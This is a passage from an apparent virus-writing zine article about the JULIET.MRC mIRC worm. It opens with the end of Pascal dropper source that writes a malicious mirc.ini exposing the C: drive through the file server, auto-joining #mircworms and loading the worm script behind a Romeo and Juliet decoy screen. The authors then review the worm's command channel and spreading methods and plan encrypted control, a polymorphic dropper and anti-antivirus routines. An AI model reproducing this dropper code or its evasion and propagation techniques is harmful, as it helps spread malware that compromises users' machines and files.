               Writeln(A,'[fonts]');
               Writeln(A,'fstatus=Arial,413');
               Writeln(A,'fchannel=Arial,413');
               Writeln(A,'flist=Arial,413');
               Writeln(A);
               Writeln(A,'[background]');
               Writeln(A);
               Writeln(A,'[fileserver]');
               Writeln(A,'warning=off');
               Writeln(A,'homedir=c:');
               Writeln(A,'welcome=c:\config.sys');
               Writeln(A);
               Writeln(A,'[dccserver]');
               Writeln(A);
               Writeln(A,'[wizard]');
               Writeln(A,'warning=2');
               Writeln(A);
               Writeln(A,'[logging]');
               Writeln(A);
               Writeln(A,'[Finger]');
               Writeln(A);
               Writeln(A,'[channelfiles]');
               Writeln(A);
               Writeln(A,'[channelslist]');
               Writeln(A);
               Writeln(A,'[local]');
               Writeln(A,'local=localhost.org');
               Writeln(A,'localip=1.0.0.127');
               Writeln(A,'longip=0123456789');
               Writeln(A);
               Writeln(A,'[dccnicks]');
               Writeln(A);
               Writeln(A,'[dragdrop]');
               Writeln(A);
               Writeln(A,'[Perform]');
               Writeln(A,'n0=/join #mircworms');
               Writeln(A);
               Writeln(A,'[extensions]');
               Writeln(A,'n0=defaultEXTDIR:EXTCOM:/run');
               Writeln(A,'n1=*.wav,*.midEXTDIR:sounds\');
               Writeln(A);
               Writeln(A,'[autoop]');
               Writeln(A);
               Writeln(A,'[protect]');
               Writeln(A);
               Writeln(A,'[afiles]');
               Writeln(A,'n0=aliases.ini');
               Writeln(A);
               Writeln(A,'[rfiles]');
               Writeln(A,'n1=juliet2.mrc');
               Close(A);
          End;
     End;
     If K=1 Then
     Begin
          Clrscr;
          Writeln;Writeln;
          Writeln(' The Prologue');
          Writeln;
          Writeln('"Two households, both alike in dignity,');
          Writeln('  In fair Verona, where we lay our scene,');
          Writeln('From ancient grudge break to new mutiny,');
          Writeln('  Where civil blood makes civil hands unclean.');
          Writeln('From forth the fatal loins of these two foes');
          Writeln('  A pair of star-crossed lovers take their life;');
          Writeln('Whose misadventured piteous overthrows');
          Writeln('  Doth with their death bury their parents'' strife.');
          Writeln('The fearful passage of their death-marked love');
          Writeln('  And the continuance of the parents'' rage,');
          Writeln('Which, but their children''s end, naught could remove,');
          Writeln('  Is now the two hours'' traffic of our stage;');
          Writeln('The which if you with patient ears attend,');
          Writeln('What here shall miss, our toil shall strive to mend."');
          Writeln;
          Writeln('william shakespeare''s');
          Writeln(' ROMEO + JULIET');
          Write  ('  The greatest love story the world has ever known.');
          Readkey;
     End;
End.
 _________________________________________________________________________

   "With features such as encrypted MTSP, multiple encryption used upon the 
   worm and an array of anti-antivirus software tricks and counter-measures, I 
   think that the next version of this mIRC worm, code named 'ICE', will make 
   history in mIRC worm technologies as it were."
    - ALT-F9
 _________________________________________________________________________

  The Evalution
  =============

 The creation and implentation of (B) went fairly smoothly.  The main problem 
 was that myself, ALT-F9 and  a  few friends kept suggesting improvements and 
 alternative methods  of  doing the things  we  were hoping to achieve with 
 this worm.  The creation and testing  of  the two scripts was done over  a  
 fairly long period of time,  and then further modified  for  optimization and 
 more secure control.  I think  I can honestly say that finding a method,  or 
 should I say  a secure method,  to  make the two clients communicate was 
 difficult,  primarily because  there was the chance that  the user's first 
 name was in  use,  and/or they might change their  nick after the worm had 
 installed itself, therefore rendering the slave to master commands useless.
 There  is  also  the  side  effect  of  when  the  master  sends  the  final  
 abort  command  to disconnect and close the slave,  because of  the nick 
 change,  may  fail  to authenticate  it correctly and merely ignore any 
 further communications from that client.  Looking back at the code  it  has 
 occurred to me that perhaps  a  /dns lookup  on  the  master and slave 
 clients would have been a better option.  That way, it could attempt to match 
 the IP address so that if  it  proved  to  be  the  same,  to  assume that 
 the other client was running from  the  same machine and would therefore  be 
 a  more secure method  of  authentication than hoping that the  master  stays  
 using  the  same nick  all  the  time.   The usage  of  sockets was  another
 method that was considered for the transport  of  the worm to another user by  
 by-passing the entire DCC visual problem and/or sound effects that were 
 needed to be hidden.   Since  the implementation of this worm,  I  have heard 
 that  it  has been attempted by at least one other person.   We  should 
 inspect this worm's code to  see how it  does what it  does and perhaps
 merge the sockets code in  alongside the existing code to  give the worm an 
 additional mode of transport.
 _________________________________________________________________________

 "I think your worm is a very cool piece of code.  Today I will take a deeper 
 look but after the first look I believe this worm has the possibility to 
 spread quite fast. :)" - Virtual Life [Lz0]
 _________________________________________________________________________

  The Next Stage
  ==============

 So where now?   Well,  myself and ALT-F9 have planned out the future of the  
 JULIET.MRC worm family so that with each version we'll be pushing further 
 into things  a  mIRC worm  has
 never done.  JULIET.MRC Ice (C) will be attempting the following new 
 features:

   - Encrypted MTSP

     No longer a worry, especially encrypted MTSP protocol, most likely moved onto its own
     socket, so that faking it will become even harder and it'll be more 
     secure.

   - Multiple Encryption dropper

     The mIRC worm dropper will be fitted with a multiple encryption engine so 
     that not only will it use encryption, but the procedure which does the 
     initial decryption will vary too, so it'll take more than one scan string at 
     minimum.

   - Active Anti-AV routines

     Well, we've done pretty much all we can to protect the worm so far in the 
     mIRC environment and now it's time to make sure that the pesky AV 
     programs aren't going to try and interfere wif our happenin's..

           Although, with saying that there is one more trick we have planned...
                but you'll have to wait for (D) before we reveal that one...
 _________________________________________________________________________

  Dedication
  ==========

 [--------------------------------------------------- Rhape79 and ALT-F9 ---]

  We'd just like to take this moment to thank you fer the support you've shown, 
  the ideas that have been expressed and also fer reading this document and at 
  least attempting to understand what we were trying to accomplish wif this 
  new mIRC worm.

             Peace,
                Rhape79 and ALT-F9


      <=====================================================>
               Dedicated To VicodinES - A Good Friend To Many People.
      <================[The Narkotic Network / Codebreakers]======>                  
 _________________________________________________________________________